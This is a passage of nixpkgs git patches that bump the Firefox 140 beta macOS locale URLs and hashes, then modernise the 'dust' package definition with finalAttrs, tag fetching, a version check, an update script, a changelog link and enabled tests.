-      sha256 = "860b3a552f2f47b1188e1f77da82a1805af2437c43b2b6b9a6b600cd36681136";
+      sha256 = "473c31374b6d982e61d75cb3974e20bcbd13c4613bcfddfea50aa43418903f54";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/mac/kn/Firefox%20140.0b3.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/mac/kn/Firefox%20140.0b4.dmg";
       locale = "kn";
       arch = "mac";
-      sha256 = "8d85e36fb0c36243f6c97e8211fa92b16da0e3afbe3a91ebec3baf10546fe938";
+      sha256 = "9436efdd09ef9eaaf104d90426cb091e1bc217468bd66cffcb7d91f8d2758f07";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/mac/ko/Firefox%20140.0b3.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/mac/ko/Firefox%20140.0b4.dmg";
       locale = "ko";
       arch = "mac";
-      sha256 = "7bfbba2a109c1494dab5e65e67490280d66c2a6a6b739641e2b78ffff8d81276";
+      sha256 = "9973a287baaa00930831a865beb370faee052f7ea486c728f2ed13060ff3280c";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/mac/lij/Firefox%20140.0b3.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/mac/lij/Firefox%20140.0b4.dmg";
       locale = "lij";
       arch = "mac";
-      sha256 = "bc752a6c3416a2e60365931d1363e87a432e3f7cf4ec1be8d24bd26eeda5cf6b";
+      sha256 = "f4c9678e933e440751b97f35b6e04941d9ce76b5869d45748b91df8336155274";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/mac/lt/Firefox%20140.0b3.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/mac/lt/Firefox%20140.0b4.dmg";
       locale = "lt";
       arch = "mac";
-      sha256 = "148ed3dae888edfbe5c8a7c47431fd1ec0477af9d56e7e2d519abb50dd940002";
+      sha256 = "ddb021dca21e65e30012aab734d160118b26c3542fc3afff2db857dbda216221";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/mac/lv/Firefox%20140.0b3.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/mac/lv/Firefox%20140.0b4.dmg";
       locale = "lv";
       arch = "mac";
-      sha256 = "14a68b53617eaf2d1e78ad934e1c927c8dfec155e0f239289d262073664365c9";
+      sha256 = "f63120daedf1ea0648de93f9178db541fed0144508ad5fddb3e512f32369c3b0";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/mac/mk/Firefox%20140.0b3.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/mac/mk/Firefox%20140.0b4.dmg";
       locale = "mk";
       arch = "mac";
-      sha256 = "e1695c52a02f2b051de16ab2b7952895bfed6b23b6e440ae308daf31ae6f3580";
+      sha256 = "9501890bd79ddda990d8023a787efda67acb7d42e5283bd354ecd89d7a5e5546";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/mac/mr/Firefox%20140.0b3.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/mac/mr/Firefox%20140.0b4.dmg";
       locale = "mr";
       arch = "mac";
-      sha256 = "464bdb5629c5da032248eaedf583c6d2c14654b8e2f919d06edc9a1fd429246c";
+      sha256 = "ba43292eb30482a03f83a4fde41e63accf37ea30b89fc8b4350a2ddf94572af0";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/mac/ms/Firefox%20140.0b3.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/mac/ms/Firefox%20140.0b4.dmg";
       locale = "ms";
       arch = "mac";
-      sha256 = "d65005ab7af62c83662a07aaeb7d4d57e07ee81a0c9db7e87fe2fa1620260434";
+      sha256 = "84ce117ea9b6703b743d70c85dcb679bfdf3652d5f2e5d765f4437873a979223";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/mac/my/Firefox%20140.0b3.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/mac/my/Firefox%20140.0b4.dmg";
       locale = "my";
       arch = "mac";
-      sha256 = "5d39e9cbdab4e72fb66df452ab1de1dec8d7e6f29fb4f2d1c562efacc5d2c691";
+      sha256 = "ed8c07f47e46998bf072d6d0db2a677326bb56e55d56197ded040b34cbc4a63d";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/mac/nb-NO/Firefox%20140.0b3.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/mac/nb-NO/Firefox%20140.0b4.dmg";
       locale = "nb-NO";
       arch = "mac";
-      sha256 = "e56923023c4fe6fc25731dbf551f21f9636bcc6d1a8359e2121a6589c4db5ab2";
+      sha256 = "676be48e68f893f271c5db650d11cd17bf323157907e2176a76d97053d9a35c4";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/mac/ne-NP/Firefox%20140.0b3.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/mac/ne-NP/Firefox%20140.0b4.dmg";
       locale = "ne-NP";
       arch = "mac";
-      sha256 = "31c9d56a2776ebe63eacf955e46df7065b3e97f99f554fdb1a627767b1324f62";
+      sha256 = "fdc56c722f0509cc1f99bf4d7759faedfdb8d5f74ebbc41fd604cbc85f5de4ab";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/mac/nl/Firefox%20140.0b3.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/mac/nl/Firefox%20140.0b4.dmg";
       locale = "nl";
       arch = "mac";
-      sha256 = "b5541303b09157e6979f5368c2840c51dab29ff841f02b9dc0bee9813a918060";
+      sha256 = "f908f97357b129f8ddd56da82b17da273dabab6fec022823bea2976645331860";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/mac/nn-NO/Firefox%20140.0b3.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/mac/nn-NO/Firefox%20140.0b4.dmg";
       locale = "nn-NO";
       arch = "mac";
-      sha256 = "7fb516ececa5f586536f8811490b7e71e1e5af25d5884d70334d6f403ee0f362";
+      sha256 = "3d38846a8f6ee404b6f5e55121f3c6a40b278cb4a224859c95e191f614741cfe";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/mac/oc/Firefox%20140.0b3.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/mac/oc/Firefox%20140.0b4.dmg";
       locale = "oc";
       arch = "mac";
-      sha256 = "a55a0693d6b7f39053db3741befbc445c820ca547f42b7c295971d81a795b152";
+      sha256 = "c2db065e02821b6abe15a8448bf45f07ab842ccb3d14504f52ff15cdcf786879";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/mac/pa-IN/Firefox%20140.0b3.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/mac/pa-IN/Firefox%20140.0b4.dmg";
       locale = "pa-IN";
       arch = "mac";
-      sha256 = "6689f4363099fbd3a01f809b1439554ca08f0f404ff8a769e45ef84c1f404666";
+      sha256 = "f6774c2c7f78362beef99450be1865f5ab9a0681fd41a18403e916c31c9538b4";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/mac/pl/Firefox%20140.0b3.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/mac/pl/Firefox%20140.0b4.dmg";
       locale = "pl";
       arch = "mac";
-      sha256 = "c084fd8619af8ea6c72d7cd44bb20a9d4f058d3dc082fab5f868e48671d1aac2";
+      sha256 = "cc14ee424433ab322b17058ea8719ba9368ff5e7a91d2f691a92dc1d13964f11";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/mac/pt-BR/Firefox%20140.0b3.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/mac/pt-BR/Firefox%20140.0b4.dmg";
       locale = "pt-BR";
       arch = "mac";
-      sha256 = "2291d282eaa74bdfb225d2f48e968eed1a48808bb6a7eb08290f6e7889a02036";
+      sha256 = "20db9ade31f00b3aae5fcb9fe71d63c31d31520f31a0e87644b34cc0a8c928bb";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/mac/pt-PT/Firefox%20140.0b3.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/mac/pt-PT/Firefox%20140.0b4.dmg";
       locale = "pt-PT";
       arch = "mac";
-      sha256 = "2dff246a5a5cedfa71b5d22fb7db891bf27e8835970ac21adeaecf73a384835f";
+      sha256 = "15d5a45a13311a67f86fb9814e1ac49f5090933f1110ca0ccc1f5bf51d4312e9";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/mac/rm/Firefox%20140.0b3.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/mac/rm/Firefox%20140.0b4.dmg";
       locale = "rm";
       arch = "mac";
-      sha256 = "ddd1cf01753ce22f577ebed4693fee2352b208d5c522e131f225fc3238bd8e2b";
+      sha256 = "07452f83b2a572e0c536e0a08aec5146aca7fef1a162d0d14ce49aa4b2032fae";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/mac/ro/Firefox%20140.0b3.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/mac/ro/Firefox%20140.0b4.dmg";
       locale = "ro";
       arch = "mac";
-      sha256 = "321ce0a38b5ec5a5cc81b2b62f8cdb4c48db017accec3ee887b79f5bb1e99c27";
+      sha256 = "98500565dda18961b9e35a4ed0a16a0c7cec95a72bfcfc43c86b4f31a32e1074";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/mac/ru/Firefox%20140.0b3.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/mac/ru/Firefox%20140.0b4.dmg";
       locale = "ru";
       arch = "mac";
-      sha256 = "771e6eea536f0fe44c213c03adbfda1126e077b04a3400fcef152e952db62f6b";
+      sha256 = "f85319ac38fb8be330bb80e6b1e5fc781d8aad2f8a6a300e1c85916f0baf7c62";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/mac/sat/Firefox%20140.0b3.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/mac/sat/Firefox%20140.0b4.dmg";
       locale = "sat";
       arch = "mac";
-      sha256 = "564202f15ded2336241f1baeecc251842e608f24e8923c9212e3b78d14b8604f";
+      sha256 = "5cc725cf1112960bccdee3d5f8ffb1a8fa7d62cdb50aeeea5becff34bd971320";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/mac/sc/Firefox%20140.0b3.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/mac/sc/Firefox%20140.0b4.dmg";
       locale = "sc";
       arch = "mac";
-      sha256 = "6e6598ff2ac53d8c1fc9e63bd9393703b59cf26b8ab4abe011d9b501a17eaeec";
+      sha256 = "7770966f953067fd4170aeb4bc0d3be8deb405f74e2129abca7253e792f69b3c";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/mac/sco/Firefox%20140.0b3.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/mac/sco/Firefox%20140.0b4.dmg";
       locale = "sco";
       arch = "mac";
-      sha256 = "99f6c0d9c7301dbd8a58ae03458bcf5d093a54ad30e2960aa0fbe02c81656dc4";
+      sha256 = "e10ae6867387b2306b2ceb74e136d28ca332a9573d2d16d10ea8d4ccde9cf85d";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/mac/si/Firefox%20140.0b3.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/mac/si/Firefox%20140.0b4.dmg";
       locale = "si";
       arch = "mac";
-      sha256 = "df763722f9a8c41d15f06f8dbf23eaeb868566488feecf396686daf08073433a";
+      sha256 = "d3e02db688b3093c05b7efdaadcef600f956a614572504489e4d69cc975c8a08";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/mac/sk/Firefox%20140.0b3.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/mac/sk/Firefox%20140.0b4.dmg";
       locale = "sk";
       arch = "mac";
-      sha256 = "afc30e2f4beab9c64ff597178558a0c28da0c53f311b4f3cd70516ed84ec4c80";
+      sha256 = "28b1b6fa00da50a5717bdf35bd98af2ed217fcb6d6f782865d7d9bd0acbeb7c1";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/mac/skr/Firefox%20140.0b3.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/mac/skr/Firefox%20140.0b4.dmg";
       locale = "skr";
       arch = "mac";
-      sha256 = "0cf03ef8ccf6889ea45d5c3c01bf0f8538280ad0a0b4ba0d62d0cb880fa70079";
+      sha256 = "fd1ad12da34e3bbbb9fdfcd64c2369a3b26ea9f6ec034673fcf0235d8627765d";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/mac/sl/Firefox%20140.0b3.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/mac/sl/Firefox%20140.0b4.dmg";
       locale = "sl";
       arch = "mac";
-      sha256 = "c43cb64d9398081fd7b5253d7cfcf4cf2f187f3b6df55558370e08a49da606f5";
+      sha256 = "1b418886de3282ff93ee5ccce0e359b5c5d94de3a3cf6fc85f5342d9f18e80ad";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/mac/son/Firefox%20140.0b3.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/mac/son/Firefox%20140.0b4.dmg";
       locale = "son";
       arch = "mac";
-      sha256 = "09b827b23e0578dc465b1e33c2c35ad611665c8487e6b37671f7c2a27a09ea60";
+      sha256 = "ab8f032f880c20a83bd6e4a64740122567a48084ab973ec4f708539009d8afdf";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/mac/sq/Firefox%20140.0b3.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/mac/sq/Firefox%20140.0b4.dmg";
       locale = "sq";
       arch = "mac";
-      sha256 = "9dcb230c1b926cbd53b5474007148b254a3063b3893cd0bb6e297314e264916e";
+      sha256 = "f1ed88be1dc9ef4a5dd873f615c7008e87122f690a0ca8f2c4435c8c07266423";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/mac/sr/Firefox%20140.0b3.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/mac/sr/Firefox%20140.0b4.dmg";
       locale = "sr";
       arch = "mac";
-      sha256 = "8538c307eda6362bbb88b300f74a6db401d969a6a90cf6c0c0f515aed07e5078";
+      sha256 = "8c76f294b168a7089308b5370b46eb507853964c43e33058d3ff5b0a9cb94a74";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/mac/sv-SE/Firefox%20140.0b3.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/mac/sv-SE/Firefox%20140.0b4.dmg";
       locale = "sv-SE";
       arch = "mac";
-      sha256 = "4885cf3ba66f3e9f562349bfe9dae07d54331a13d8ec55dc875f51d18ba5c410";
+      sha256 = "33067551aad68665fbafab6357ace0debe78032fa1a9a63b2c7f5c35aee6cd6e";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/mac/szl/Firefox%20140.0b3.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/mac/szl/Firefox%20140.0b4.dmg";
       locale = "szl";
       arch = "mac";
-      sha256 = "17441b0d020fa3d308294563475e6195f143997e0b978a3ede06f68f05ebfd43";
+      sha256 = "cabd50959911a80e1a663327564d546753b6f053a3147d5e5238713f54c930fd";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/mac/ta/Firefox%20140.0b3.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/mac/ta/Firefox%20140.0b4.dmg";
       locale = "ta";
       arch = "mac";
-      sha256 = "4f81bf6a7ad7dc6f9dfd50c985156e94d28edde7e2b1d2517786d155c6132bf7";
+      sha256 = "55c572220f5e0d0c16b5314e8429a221b668d6b05bd21d1410deb850a20587c5";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/mac/te/Firefox%20140.0b3.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/mac/te/Firefox%20140.0b4.dmg";
       locale = "te";
       arch = "mac";
-      sha256 = "56a4a194e1dfc3a1abf7b9c28cdc1fd4f5613658d80c1801425e8e32dce4abd0";
+      sha256 = "dd24dff0bf95f49d5415e541596e2b832481cf9fda89d4a978ce8e3c40690647";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/mac/tg/Firefox%20140.0b3.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/mac/tg/Firefox%20140.0b4.dmg";
       locale = "tg";
       arch = "mac";
-      sha256 = "104a63204b38ab9d82c80e788750a9ca2553000e2084b01d7d8c0227e5777e51";
+      sha256 = "4b628008a8536fd67cf6e403fd9f771f765994e172c228bdf214ec73d7b483b0";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/mac/th/Firefox%20140.0b3.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/mac/th/Firefox%20140.0b4.dmg";
       locale = "th";
       arch = "mac";
-      sha256 = "9a05c4049d84f7f6b0172195f34a98f69aeacdd5a5d80d935fad49052bb8d759";
+      sha256 = "edda1adddebf16eb8ccd31d08fdf77f7f4d349c57dccbd29c98998831f3405a5";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/mac/tl/Firefox%20140.0b3.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/mac/tl/Firefox%20140.0b4.dmg";
       locale = "tl";
       arch = "mac";
-      sha256 = "3b24fa93c80889bdfe3375340f33d7220800c48256509dcb86366d9c274a4226";
+      sha256 = "5c9cf0f10257b5788edab5298069a66157be9b740a618c22b6e6f7b6495aee05";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/mac/tr/Firefox%20140.0b3.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/mac/tr/Firefox%20140.0b4.dmg";
       locale = "tr";
       arch = "mac";
-      sha256 = "e4ea76861425944db62f6befd078d75308d493a85162f1211f9081a95e9c9317";
+      sha256 = "23d6fe36c78458a9c20baca7f9f559c2044e02a7d0298994ae3fce29846a6cbc";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/mac/trs/Firefox%20140.0b3.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/mac/trs/Firefox%20140.0b4.dmg";
       locale = "trs";
       arch = "mac";
-      sha256 = "6caf872e4204661d93f98c1f6c83ed04f506b387d416e89937e45d6413b9af1e";
+      sha256 = "da3998812d320ea6242a345a239ead76b5e08a479a758fd0769918461c6a89e8";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/mac/uk/Firefox%20140.0b3.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/mac/uk/Firefox%20140.0b4.dmg";
       locale = "uk";
       arch = "mac";
-      sha256 = "7364e3a29e2b412e705779342341028abec59f9e88f80ae98d036e362cdb56da";
+      sha256 = "02faddd1b0b5b79211c36438a2ce47238231c11dcf675d65974b8478f7f16818";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/mac/ur/Firefox%20140.0b3.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/mac/ur/Firefox%20140.0b4.dmg";
       locale = "ur";
       arch = "mac";
-      sha256 = "7d2cb1a3a42b1c5e4fd70b38683243bea376a7f8a44719d96ed1ce0c2ddde982";
+      sha256 = "bf9846f9ef42b29670ac7a578afe0d0daff713cbe2dcea8fc80e937f753dd284";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/mac/uz/Firefox%20140.0b3.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/mac/uz/Firefox%20140.0b4.dmg";
       locale = "uz";
       arch = "mac";
-      sha256 = "66cd768b169964d3509bf2f6de345ba12944498206857161a1afda4e35bd7876";
+      sha256 = "dca6f4b4b872c20d9ba2c1b42a2a02e6ae5a70df363fe0f12a3509e6fbc05ee9";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/mac/vi/Firefox%20140.0b3.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/mac/vi/Firefox%20140.0b4.dmg";
       locale = "vi";
       arch = "mac";
-      sha256 = "c978392a737c19328f374e018ebbce779f61ed3e7b7f61d549fc9d3dcf1bf92e";
+      sha256 = "bdbf2095fcd35554cd83ed9a115d6037e24487861ed8746d3b3285735d5518ec";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/mac/xh/Firefox%20140.0b3.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/mac/xh/Firefox%20140.0b4.dmg";
       locale = "xh";
       arch = "mac";
-      sha256 = "780f47c26ac2f447758a27396d9f5e4dfe979037a3471a9e5dfda36b2db05c9c";
+      sha256 = "86496e2fa6591ff5218eb4a7187b5cd303c86e6dc6d6bf9cc32e20aa6b199d77";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/mac/zh-CN/Firefox%20140.0b3.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/mac/zh-CN/Firefox%20140.0b4.dmg";
       locale = "zh-CN";
       arch = "mac";
-      sha256 = "4530f0a24d355a124470f9bb913e4664785fda206b449ceb5ff4679277396f4d";
+      sha256 = "8ab9a64b3733fd391678c47a2307d44205a9ae67aad5895aa11ceb73eeccf6ff";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/mac/zh-TW/Firefox%20140.0b3.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/mac/zh-TW/Firefox%20140.0b4.dmg";
       locale = "zh-TW";
       arch = "mac";
-      sha256 = "26191d7fd1fb4083f4bf79e5287c47f024606786a56c6f87cfaf4a12e5b93ffe";
+      sha256 = "a1e2692eb4a0a728b051a9f6c3998b7f87b0e118133fb94b069f582c0eb463e9";
     }
   ];
 }

From 272fa255facd48e8aaeeeeb71cced097553c70bf Mon Sep 17 00:00:00 2001
From: Defelo <mail@defelo.de>
Date: Fri, 23 May 2025 17:23:36 +0200
Subject: [PATCH 0600/4511] dust: use finalAttrs pattern

(cherry picked from commit f644ca5a95e9ec6b04b165347a00631ea736eae2)
---
 pkgs/by-name/du/dust/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/du/dust/package.nix b/pkgs/by-name/du/dust/package.nix
index 720bfee00efd..d3ab6b7d0acd 100644
--- a/pkgs/by-name/du/dust/package.nix
+++ b/pkgs/by-name/du/dust/package.nix
@@ -5,7 +5,7 @@
   installShellFiles,
 }:
 
-rustPlatform.buildRustPackage rec {
+rustPlatform.buildRustPackage (finalAttrs: {
   # Originally, this package was under the attribute `du-dust`, since `dust` was taken.
   # Since then, `dust` has been freed up, allowing this package to take that attribute.
   # However in order for tools like `nix-env` to detect package updates, keep `du-dust` for pname.
@@ -15,7 +15,7 @@ rustPlatform.buildRustPackage rec {
   src = fetchFromGitHub {
     owner = "bootandy";
     repo = "dust";
-    rev = "v${version}";
+    rev = "v${finalAttrs.version}";
     hash = "sha256-MmlCTF7tZBBOCnyhUjTatDjajFMGd+Nk2kYyxjzZc04=";
     # Remove unicode file names which leads to different checksums on HFS+
     # vs. other filesystems because of unicode normalisation.
@@ -43,4 +43,4 @@ rustPlatform.buildRustPackage rec {
     maintainers = with lib.maintainers; [ aaronjheng ];
     mainProgram = "dust";
   };
-}
+})

From a74291e676f540e6662c0cebd57a6283ab97a6eb Mon Sep 17 00:00:00 2001
From: Defelo <mail@defelo.de>
Date: Fri, 23 May 2025 17:24:15 +0200
Subject: [PATCH 0601/4511] dust: use tag in fetchFromGitHub

(cherry picked from commit 7c3ad7e0414e52299657eed9866389f968996c07)
---
 pkgs/by-name/du/dust/package.nix | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/pkgs/by-name/du/dust/package.nix b/pkgs/by-name/du/dust/package.nix
index d3ab6b7d0acd..60a2b9b47dac 100644
--- a/pkgs/by-name/du/dust/package.nix
+++ b/pkgs/by-name/du/dust/package.nix
@@ -15,7 +15,7 @@ rustPlatform.buildRustPackage (finalAttrs: {
   src = fetchFromGitHub {
     owner = "bootandy";
     repo = "dust";
-    rev = "v${finalAttrs.version}";
+    tag = "v${finalAttrs.version}";
     hash = "sha256-MmlCTF7tZBBOCnyhUjTatDjajFMGd+Nk2kYyxjzZc04=";
     # Remove unicode file names which leads to different checksums on HFS+
     # vs. other filesystems because of unicode normalisation.

From 4a807cc37782ae7c00e57c083bf3e076b2a42163 Mon Sep 17 00:00:00 2001
From: Defelo <mail@defelo.de>
Date: Fri, 23 May 2025 17:27:54 +0200
Subject: [PATCH 0602/4511] dust: add versionCheckHook

(cherry picked from commit f10d01c45a2df6662d460d36e82183a634becb67)
---
 pkgs/by-name/du/dust/package.nix | 6 ++++++
 1 file changed, 6 insertions(+)

diff --git a/pkgs/by-name/du/dust/package.nix b/pkgs/by-name/du/dust/package.nix
index 60a2b9b47dac..824561c36c4b 100644
--- a/pkgs/by-name/du/dust/package.nix
+++ b/pkgs/by-name/du/dust/package.nix
@@ -3,6 +3,7 @@
   fetchFromGitHub,
   rustPlatform,
   installShellFiles,
+  versionCheckHook,
 }:
 
 rustPlatform.buildRustPackage (finalAttrs: {
@@ -36,6 +37,11 @@ rustPlatform.buildRustPackage (finalAttrs: {
     installShellCompletion completions/dust.{bash,fish} --zsh completions/_dust
   '';
 
+  nativeInstallCheckInputs = [ versionCheckHook ];
+  versionCheckProgram = "${placeholder "out"}/bin/dust";
+  versionCheckProgramArg = "--version";
+  doInstallCheck = true;
+
   meta = {
     description = "du + rust = dust. Like du but more intuitive";
     homepage = "https://github.com/bootandy/dust";

From 6aa7d3c0babaf6c3db2d16261635839e2f85681d Mon Sep 17 00:00:00 2001
From: Defelo <mail@defelo.de>
Date: Fri, 23 May 2025 17:31:28 +0200
Subject: [PATCH 0603/4511] dust: add updateScript

(cherry picked from commit b8f6858e45ea7b4ce568fa305918fd3f060b2625)
---
 pkgs/by-name/du/dust/package.nix | 3 +++
 1 file changed, 3 insertions(+)

diff --git a/pkgs/by-name/du/dust/package.nix b/pkgs/by-name/du/dust/package.nix
index 824561c36c4b..fbb8e932daa8 100644
--- a/pkgs/by-name/du/dust/package.nix
+++ b/pkgs/by-name/du/dust/package.nix
@@ -4,6 +4,7 @@
   rustPlatform,
   installShellFiles,
   versionCheckHook,
+  nix-update-script,
 }:
 
 rustPlatform.buildRustPackage (finalAttrs: {
@@ -42,6 +43,8 @@ rustPlatform.buildRustPackage (finalAttrs: {
   versionCheckProgramArg = "--version";
   doInstallCheck = true;
 
+  passthru.updateScript = nix-update-script { };
+
   meta = {
     description = "du + rust = dust. Like du but more intuitive";
     homepage = "https://github.com/bootandy/dust";

From 5708779271bfd4e1fa361426f118bc43517ea8e9 Mon Sep 17 00:00:00 2001
From: Defelo <mail@defelo.de>
Date: Fri, 23 May 2025 17:46:50 +0200
Subject: [PATCH 0604/4511] dust: add meta.changelog

(cherry picked from commit e94e42557b1c256e09fa3e2617ff2e6fe0976567)
---
 pkgs/by-name/du/dust/package.nix | 1 +
 1 file changed, 1 insertion(+)

diff --git a/pkgs/by-name/du/dust/package.nix b/pkgs/by-name/du/dust/package.nix
index fbb8e932daa8..5d5a33ce0db5 100644
--- a/pkgs/by-name/du/dust/package.nix
+++ b/pkgs/by-name/du/dust/package.nix
@@ -48,6 +48,7 @@ rustPlatform.buildRustPackage (finalAttrs: {
   meta = {
     description = "du + rust = dust. Like du but more intuitive";
     homepage = "https://github.com/bootandy/dust";
+    changelog = "https://github.com/bootandy/dust/releases/tag/v${finalAttrs.version}";
     license = lib.licenses.asl20;
     maintainers = with lib.maintainers; [ aaronjheng ];
     mainProgram = "dust";

From f4fdc977bb7990211705ce0d94a4eff31dd5200c Mon Sep 17 00:00:00 2001
From: Defelo <mail@defelo.de>
Date: Fri, 23 May 2025 17:47:10 +0200
Subject: [PATCH 0605/4511] dust: enable tests

(cherry picked from commit 813693e40cb544e0678533e55cda2a0ce2f01560)
---
 pkgs/by-name/du/dust/package.nix | 11 ++++++++++-
 1 file changed, 10 insertions(+), 1 deletion(-)

diff --git a/pkgs/by-name/du/dust/package.nix b/pkgs/by-name/du/dust/package.nix
index 5d5a33ce0db5..a0eb8ecc462d 100644
--- a/pkgs/by-name/du/dust/package.nix
+++ b/pkgs/by-name/du/dust/package.nix
@@ -31,7 +31,16 @@ rustPlatform.buildRustPackage (finalAttrs: {
 
   nativeBuildInputs = [ installShellFiles ];
 
-  doCheck = false;
+  checkFlags = [
+    # disable tests that depend on the unicode files we removed above
+    "--skip=test_show_files_by_type"
+  ];
+
+  preCheck = ''
+    # These tests depend on the disk format of the build host.
+    rm tests/test_exact_output.rs
+    rm tests/tests_symlinks.rs
+  '';
 
   postInstall = ''
     installManPage man-page/dust.1

